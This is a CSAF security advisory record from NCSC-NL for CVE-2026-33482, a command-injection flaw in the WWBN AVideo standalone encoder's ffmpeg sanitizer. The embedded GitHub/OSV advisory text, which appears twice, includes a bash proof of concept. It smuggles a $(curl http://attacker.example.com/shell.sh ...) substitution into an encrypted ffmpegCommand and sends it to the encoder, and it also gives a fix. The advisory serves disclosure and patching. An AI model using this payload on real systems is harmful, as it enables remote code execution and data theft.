{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-33482",
        "tracking": {
            "current_release_date": "2026-03-26T00:48:31.640444Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-33482",
            "initial_release_date": "2026-03-20T21:41:05.777112Z",
            "revision_history": [
                {
                    "date": "2026-03-20T21:41:05.777112Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T21:41:08.997905Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-23T18:11:02.667593Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-23T18:11:05.600200Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-23T22:51:18.730906Z",
                    "number": "5",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-23T22:51:26.976078Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-24T10:54:38.596071Z",
                    "number": "7",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-24T10:54:42.343407Z",
                    "number": "8",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-24T20:54:20.238553Z",
                    "number": "9",
                    "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-24T20:54:44.288419Z",
                    "number": "10",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-24T21:37:26.541395Z",
                    "number": "11",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-24T21:37:30.288057Z",
                    "number": "12",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-25T20:11:38.414323Z",
                    "number": "13",
                    "summary": "References created (2)."
                },
                {
                    "date": "2026-03-25T20:11:40.607062Z",
                    "number": "14",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-26T00:46:43.222804Z",
                    "number": "15",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (18).| Product Identifiers created (17).| References created (3).| CWES updated (1)."
                }
            ],
            "status": "interim",
            "version": "15"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<=26.0",
                                "product": {
                                    "name": "vers:unknown/<=26.0",
                                    "product_id": "CSAFPID-5893889",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "AVideo"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/10.4",
                                "product": {
                                    "name": "vers:unknown/10.4",
                                    "product_id": "CSAFPID-5656122",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@10.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/10.8",
                                "product": {
                                    "name": "vers:unknown/10.8",
                                    "product_id": "CSAFPID-5656123",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@10.8"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/11",
                                "product": {
                                    "name": "vers:unknown/11",
                                    "product_id": "CSAFPID-5656124",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@11"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/11.1",
                                "product": {
                                    "name": "vers:unknown/11.1",
                                    "product_id": "CSAFPID-5656125",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@11.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/11.1.1",
                                "product": {
                                    "name": "vers:unknown/11.1.1",
                                    "product_id": "CSAFPID-5656126",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@11.1.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/11.5",
                                "product": {
                                    "name": "vers:unknown/11.5",
                                    "product_id": "CSAFPID-5656127",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@11.5"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/11.6",
                                "product": {
                                    "name": "vers:unknown/11.6",
                                    "product_id": "CSAFPID-5656128",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@11.6"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/12.4",
                                "product": {
                                    "name": "vers:unknown/12.4",
                                    "product_id": "CSAFPID-5656129",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@12.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/14.3",
                                "product": {
                                    "name": "vers:unknown/14.3",
                                    "product_id": "CSAFPID-5656130",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@14.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/14.3.1",
                                "product": {
                                    "name": "vers:unknown/14.3.1",
                                    "product_id": "CSAFPID-5656131",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@14.3.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/14.4",
                                "product": {
                                    "name": "vers:unknown/14.4",
                                    "product_id": "CSAFPID-5656132",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@14.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/18.0",
                                "product": {
                                    "name": "vers:unknown/18.0",
                                    "product_id": "CSAFPID-5656133",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@18.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/21.0",
                                "product": {
                                    "name": "vers:unknown/21.0",
                                    "product_id": "CSAFPID-5721197",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@21.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/22.0",
                                "product": {
                                    "name": "vers:unknown/22.0",
                                    "product_id": "CSAFPID-5772271",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@22.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/24.0",
                                "product": {
                                    "name": "vers:unknown/24.0",
                                    "product_id": "CSAFPID-5772272",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@24.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/25.0",
                                "product": {
                                    "name": "vers:unknown/25.0",
                                    "product_id": "CSAFPID-5840723",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@25.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/26.0",
                                "product": {
                                    "name": "vers:unknown/26.0",
                                    "product_id": "CSAFPID-5878928",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@26.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0|<=26.0",
                                "product": {
                                    "name": "vers:unknown/>=0|<=26.0",
                                    "product_id": "CSAFPID-5878929"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "avideo"
                    }
                ],
                "category": "vendor",
                "name": "WWBN"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-33482",
            "cwe": {
                "id": "CWE-78",
                "name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "## Summary\n\nThe `sanitizeFFmpegCommand()` function in `plugin/API/standAlone/functions.php` is designed to prevent OS command injection in ffmpeg commands by stripping dangerous shell metacharacters (`&&`, `;`, `|`, `` ` ``, `<`, `>`). However, it fails to strip `$()` (bash command substitution syntax). Since the sanitized command is executed inside a double-quoted `sh -c` context in `execAsync()`, an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server.\n\n## Details\n\n**Vulnerable sanitization function** (`plugin/API/standAlone/functions.php:59-82`):\n\n```php\nfunction sanitizeFFmpegCommand($command)\n{\n    $allowedPrefixes = ['ffmpeg', '/usr/bin/ffmpeg', '/bin/ffmpeg'];\n    \n    // Remove dangerous characters\n    $command = str_replace('&&', '', $command);\n    $command = preg_replace('/\\s*&?>.*(?:2>&1)?/', '', $command);\n    $command = preg_replace('/[;|`<>]/', '', $command);  // Missing: $ ( ) \\n\n    \n    // Ensure it starts with an allowed prefix\n    foreach ($allowedPrefixes as $prefix) {\n        if (strpos(trim($command), $prefix) === 0) {\n            return $command;\n        }\n    }\n    return '';\n}\n```\n\nThe character class `[;|`<>]` on line 70 does not include `$`, `(`, `)`, or `\\n`. This means `$(...)` command substitution passes through completely unmodified.\n\n**Execution sink** (`objects/functionsExec.php:656-658`):\n\n```php\n$commandWithKeyword = \"nohup sh -c \\\"$command & echo \\\\$! > /tmp/$keyword.pid\\\" > /dev/null 2>&1 &\";\n```\n\nThe `addcslashes($command, '\"')` call at line 639 only escapes double-quote characters. The `$()` construct is preserved intact and interpreted by `sh` as command substitution within the double-quoted string.\n\n**Execution flow:**\n1. Attacker sends `codeToExecEncrypted` parameter to `plugin/API/standAlone/ffmpeg.json.php`\n2. Standalone encoder calls main server's unauthenticated `decryptString` API to decrypt\n3. Decrypted `ffmpegCommand` passes through `sanitizeFFmpegCommand()` — `$()` is NOT stripped\n4. Command passes prefix check (starts with `ffmpeg`)\n5. `execAsync()` wraps it in `sh -c \"...\"` — `$()` is evaluated as command substitution\n\n**Auth barrier analysis:**\n- Requires a valid AES-256-CBC encrypted JSON payload with a timestamp within 30 seconds\n- Key is `sha256(saltV2)` on the main server; `saltV2` is generated by `random_bytes(16)` — cryptographically strong\n- IV is `substr(sha256(systemRootPath), 0, 16)` — predictable but insufficient alone\n- On legacy installations without `saltV2`, falls back to `$global['salt']` which may be weaker\n- The `decryptString` API endpoint (`API.php:5963`) is unauthenticated, enabling probing but not payload crafting\n\n## PoC\n\nAssuming the attacker has obtained the encryption key (e.g., from a leaked configuration file, a legacy installation with a weak salt, or via a separate vulnerability):\n\n```bash\n# Step 1: Craft the malicious ffmpeg command\n# $() passes sanitization; curl -o avoids needing > which would be stripped\nMALICIOUS_CMD='ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4'\n\n# Step 2: Build the JSON payload\nPAYLOAD=\"{\\\"ffmpegCommand\\\":\\\"$MALICIOUS_CMD\\\",\\\"keyword\\\":\\\"test\\\",\\\"time\\\":$(date +%s)}\"\n\n# Step 3: Encrypt the payload (requires knowledge of salt and systemRootPath)\n# KEY = sha256(saltV2)\n# IV  = substr(sha256(systemRootPath), 0, 16)\nENCRYPTED=$(php -r \"\n\\$salt = 'KNOWN_SALTV2';\n\\$iv_source = '/var/www/html/AVideo/';\n\\$key = hash('sha256', \\$salt);\n\\$iv = substr(hash('sha256', \\$iv_source), 0, 16);\necho base64_encode(openssl_encrypt('$PAYLOAD', 'AES-256-CBC', \\$key, 0, \\$iv));\n\")\n\n# Step 4: Send to standalone encoder\ncurl \"http://standalone-encoder.example.com/plugin/API/standAlone/ffmpeg.json.php?codeToExecEncrypted=$(python3 -c 'import urllib.parse; print(urllib.parse.quote(\\\"'$ENCRYPTED'\\\"))')\"\n\n# Result: The standalone encoder executes:\n# sh -c \"ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4 ...\"\n# The $(curl ...) is evaluated BEFORE ffmpeg runs, downloading the attacker's script\n```\n\n**Sanitization trace for the payload:**\n- `str_replace('&&', '', ...)` → no `&&` present, passes\n- `preg_replace('/\\s*&?>.*(?:2>&1)?/', '', ...)` → no `>` outside `$()`, passes\n- `preg_replace('/[;|`<>]/', '', ...)` → no `;|`<>` present, passes\n- Prefix check → starts with `ffmpeg`, passes\n- `addcslashes($command, '\"')` → no `\"` in payload, `$()` untouched\n\n## Impact\n\n- **Remote Code Execution**: Full arbitrary command execution on the standalone encoder server with the privileges of the web server process\n- **Lateral Movement**: Standalone encoders typically have network access to the main AVideo server, enabling further attacks\n- **Data Exfiltration**: Access to all video files, configuration, and credentials stored on the encoder\n- **Service Disruption**: Attacker can terminate encoding processes or consume system resources\n\nThe attack complexity is High due to the encryption key requirement, but the impact is Critical once the barrier is bypassed. Legacy installations without `saltV2` are at significantly higher risk.\n\n## Recommended Fix\n\nReplace the denylist-based sanitization with proper argument escaping:\n\n```php\nfunction sanitizeFFmpegCommand($command)\n{\n    $allowedPrefixes = ['ffmpeg', '/usr/bin/ffmpeg', '/bin/ffmpeg'];\n\n    // Verify it starts with an allowed prefix\n    $trimmed = trim($command);\n    $validPrefix = false;\n    foreach ($allowedPrefixes as $prefix) {\n        if (strpos($trimmed, $prefix) === 0) {\n            $validPrefix = true;\n            break;\n        }\n    }\n    if (!$validPrefix) {\n        _error_log(\"Sanitization failed: Command does not start with an allowed prefix\");\n        return '';\n    }\n\n    // Strip ALL shell metacharacters, including command substitution\n    // This covers: ; | ` < > $ ( ) { } \\n \\r\n    $command = preg_replace('/[;|`<>$(){}\\\\\\\\]/', '', $command);\n    $command = str_replace('&&', '', $command);\n    $command = preg_replace('/[\\n\\r]/', '', $command);\n    $command = preg_replace('/\\s*&?>.*(?:2>&1)?/', '', $command);\n\n    _error_log(\"Command sanitized successfully\");\n    return $command;\n}\n```\n\n**Better long-term fix**: Instead of sanitizing a complete shell command string, parse the ffmpeg arguments and use `escapeshellarg()` on each individual argument before reassembling the command. This eliminates the need for a denylist entirely.",
                    "title": "github - https://api.github.com/advisories/GHSA-pmj8-r2j7-xg6c"
                },
                {
                    "category": "description",
                    "text": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `sanitizeFFmpegCommand()` function in `plugin/API/standAlone/functions.php` is designed to prevent OS command injection in ffmpeg commands by stripping dangerous shell metacharacters (`&&`, `;`, `|`, `` ` ``, `<`, `>`). However, it fails to strip `$()` (bash command substitution syntax). Since the sanitized command is executed inside a double-quoted `sh -c` context in `execAsync()`, an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server. Commit 25c8ab90269e3a01fb4cf205b40a373487f022e1 contains a patch.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33482.json"
                },
                {
                    "category": "description",
                    "text": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `sanitizeFFmpegCommand()` function in `plugin/API/standAlone/functions.php` is designed to prevent OS command injection in ffmpeg commands by stripping dangerous shell metacharacters (`&&`, `;`, `|`, `` ` ``, `<`, `>`). However, it fails to strip `$()` (bash command substitution syntax). Since the sanitized command is executed inside a double-quoted `sh -c` context in `execAsync()`, an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server. Commit 25c8ab90269e3a01fb4cf205b40a373487f022e1 contains a patch.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33482"
                },
                {
                    "category": "description",
                    "text": "## Summary\n\nThe `sanitizeFFmpegCommand()` function in `plugin/API/standAlone/functions.php` is designed to prevent OS command injection in ffmpeg commands by stripping dangerous shell metacharacters (`&&`, `;`, `|`, `` ` ``, `<`, `>`). However, it fails to strip `$()` (bash command substitution syntax). Since the sanitized command is executed inside a double-quoted `sh -c` context in `execAsync()`, an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server.\n\n## Details\n\n**Vulnerable sanitization function** (`plugin/API/standAlone/functions.php:59-82`):\n\n```php\nfunction sanitizeFFmpegCommand($command)\n{\n    $allowedPrefixes = ['ffmpeg', '/usr/bin/ffmpeg', '/bin/ffmpeg'];\n    \n    // Remove dangerous characters\n    $command = str_replace('&&', '', $command);\n    $command = preg_replace('/\\s*&?>.*(?:2>&1)?/', '', $command);\n    $command = preg_replace('/[;|`<>]/', '', $command);  // Missing: $ ( ) \\n\n    \n    // Ensure it starts with an allowed prefix\n    foreach ($allowedPrefixes as $prefix) {\n        if (strpos(trim($command), $prefix) === 0) {\n            return $command;\n        }\n    }\n    return '';\n}\n```\n\nThe character class `[;|`<>]` on line 70 does not include `$`, `(`, `)`, or `\\n`. This means `$(...)` command substitution passes through completely unmodified.\n\n**Execution sink** (`objects/functionsExec.php:656-658`):\n\n```php\n$commandWithKeyword = \"nohup sh -c \\\"$command & echo \\\\$! > /tmp/$keyword.pid\\\" > /dev/null 2>&1 &\";\n```\n\nThe `addcslashes($command, '\"')` call at line 639 only escapes double-quote characters. The `$()` construct is preserved intact and interpreted by `sh` as command substitution within the double-quoted string.\n\n**Execution flow:**\n1. Attacker sends `codeToExecEncrypted` parameter to `plugin/API/standAlone/ffmpeg.json.php`\n2. Standalone encoder calls main server's unauthenticated `decryptString` API to decrypt\n3. Decrypted `ffmpegCommand` passes through `sanitizeFFmpegCommand()` — `$()` is NOT stripped\n4. Command passes prefix check (starts with `ffmpeg`)\n5. `execAsync()` wraps it in `sh -c \"...\"` — `$()` is evaluated as command substitution\n\n**Auth barrier analysis:**\n- Requires a valid AES-256-CBC encrypted JSON payload with a timestamp within 30 seconds\n- Key is `sha256(saltV2)` on the main server; `saltV2` is generated by `random_bytes(16)` — cryptographically strong\n- IV is `substr(sha256(systemRootPath), 0, 16)` — predictable but insufficient alone\n- On legacy installations without `saltV2`, falls back to `$global['salt']` which may be weaker\n- The `decryptString` API endpoint (`API.php:5963`) is unauthenticated, enabling probing but not payload crafting\n\n## PoC\n\nAssuming the attacker has obtained the encryption key (e.g., from a leaked configuration file, a legacy installation with a weak salt, or via a separate vulnerability):\n\n```bash\n# Step 1: Craft the malicious ffmpeg command\n# $() passes sanitization; curl -o avoids needing > which would be stripped\nMALICIOUS_CMD='ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4'\n\n# Step 2: Build the JSON payload\nPAYLOAD=\"{\\\"ffmpegCommand\\\":\\\"$MALICIOUS_CMD\\\",\\\"keyword\\\":\\\"test\\\",\\\"time\\\":$(date +%s)}\"\n\n# Step 3: Encrypt the payload (requires knowledge of salt and systemRootPath)\n# KEY = sha256(saltV2)\n# IV  = substr(sha256(systemRootPath), 0, 16)\nENCRYPTED=$(php -r \"\n\\$salt = 'KNOWN_SALTV2';\n\\$iv_source = '/var/www/html/AVideo/';\n\\$key = hash('sha256', \\$salt);\n\\$iv = substr(hash('sha256', \\$iv_source), 0, 16);\necho base64_encode(openssl_encrypt('$PAYLOAD', 'AES-256-CBC', \\$key, 0, \\$iv));\n\")\n\n# Step 4: Send to standalone encoder\ncurl \"http://standalone-encoder.example.com/plugin/API/standAlone/ffmpeg.json.php?codeToExecEncrypted=$(python3 -c 'import urllib.parse; print(urllib.parse.quote(\\\"'$ENCRYPTED'\\\"))')\"\n\n# Result: The standalone encoder executes:\n# sh -c \"ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4 ...\"\n# The $(curl ...) is evaluated BEFORE ffmpeg runs, downloading the attacker's script\n```\n\n**Sanitization trace for the payload:**\n- `str_replace('&&', '', ...)` → no `&&` present, passes\n- `preg_replace('/\\s*&?>.*(?:2>&1)?/', '', ...)` → no `>` outside `$()`, passes\n- `preg_replace('/[;|`<>]/', '', ...)` → no `;|`<>` present, passes\n- Prefix check → starts with `ffmpeg`, passes\n- `addcslashes($command, '\"')` → no `\"` in payload, `$()` untouched\n\n## Impact\n\n- **Remote Code Execution**: Full arbitrary command execution on the standalone encoder server with the privileges of the web server process\n- **Lateral Movement**: Standalone encoders typically have network access to the main AVideo server, enabling further attacks\n- **Data Exfiltration**: Access to all video files, configuration, and credentials stored on the encoder\n- **Service Disruption**: Attacker can terminate encoding processes or consume system resources\n\nThe attack complexity is High due to the encryption key requirement, but the impact is Critical once the barrier is bypassed. Legacy installations without `saltV2` are at significantly higher risk.\n\n## Recommended Fix\n\nReplace the denylist-based sanitization with proper argument escaping:\n\n```php\nfunction sanitizeFFmpegCommand($command)\n{\n    $allowedPrefixes = ['ffmpeg', '/usr/bin/ffmpeg', '/bin/ffmpeg'];\n\n    // Verify it starts with an allowed prefix\n    $trimmed = trim($command);\n    $validPrefix = false;\n    foreach ($allowedPrefixes as $prefix) {\n        if (strpos($trimmed, $prefix) === 0) {\n            $validPrefix = true;\n            break;\n        }\n    }\n    if (!$validPrefix) {\n        _error_log(\"Sanitization failed: Command does not start with an allowed prefix\");\n        return '';\n    }\n\n    // Strip ALL shell metacharacters, including command substitution\n    // This covers: ; | ` < > $ ( ) { } \\n \\r\n    $command = preg_replace('/[;|`<>$(){}\\\\\\\\]/', '', $command);\n    $command = str_replace('&&', '', $command);\n    $command = preg_replace('/[\\n\\r]/', '', $command);\n    $command = preg_replace('/\\s*&?>.*(?:2>&1)?/', '', $command);\n\n    _error_log(\"Command sanitized successfully\");\n    return $command;\n}\n```\n\n**Better long-term fix**: Instead of sanitizing a complete shell command string, parse the ffmpeg arguments and use `escapeshellarg()` on each individual argument before reassembling the command. This eliminates the need for a denylist entirely.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Packagist%2FGHSA-pmj8-r2j7-xg6c.json?alt=media"
                },
                {
                    "category": "other",
                    "text": "0.0015",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.6",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "Is related to (a version of) an uncommon product, The value of the most recent EPSS score, There is exploit data available from source Nvd",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5893889",
                    "CSAFPID-5656122",
                    "CSAFPID-5656123",
                    "CSAFPID-5656124",
                    "CSAFPID-5656125",
                    "CSAFPID-5656126",
                    "CSAFPID-5656127",
                    "CSAFPID-5656128",
                    "CSAFPID-5656129",
                    "CSAFPID-5656130",
                    "CSAFPID-5656131",
                    "CSAFPID-5656132",
                    "CSAFPID-5656133",
                    "CSAFPID-5721197",
                    "CSAFPID-5772271",
                    "CSAFPID-5772272",
                    "CSAFPID-5840723",
                    "CSAFPID-5878928",
                    "CSAFPID-5878929"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-pmj8-r2j7-xg6c"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33482.json"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33482"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Packagist%2FGHSA-pmj8-r2j7-xg6c.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-pmj8-r2j7-xg6c"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-pmj8-r2j7-xg6c"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/WWBN/AVideo/commit/25c8ab90269e3a01fb4cf205b40a373487f022e1"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33482"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
                        "baseScore": 8.1,
                        "baseSeverity": "HIGH"
                    },
                    "products": [
                        "CSAFPID-5656122",
                        "CSAFPID-5656123",
                        "CSAFPID-5656124",
                        "CSAFPID-5656125",
                        "CSAFPID-5656126",
                        "CSAFPID-5656127",
                        "CSAFPID-5656128",
                        "CSAFPID-5656129",
                        "CSAFPID-5656130",
                        "CSAFPID-5656131",
                        "CSAFPID-5656132",
                        "CSAFPID-5656133",
                        "CSAFPID-5721197",
                        "CSAFPID-5772271",
                        "CSAFPID-5772272",
                        "CSAFPID-5840723",
                        "CSAFPID-5878928",
                        "CSAFPID-5878929",
                        "CSAFPID-5893889"
                    ]
                }
            ],
            "title": "CVE-2026-33482"
        }
    ]
}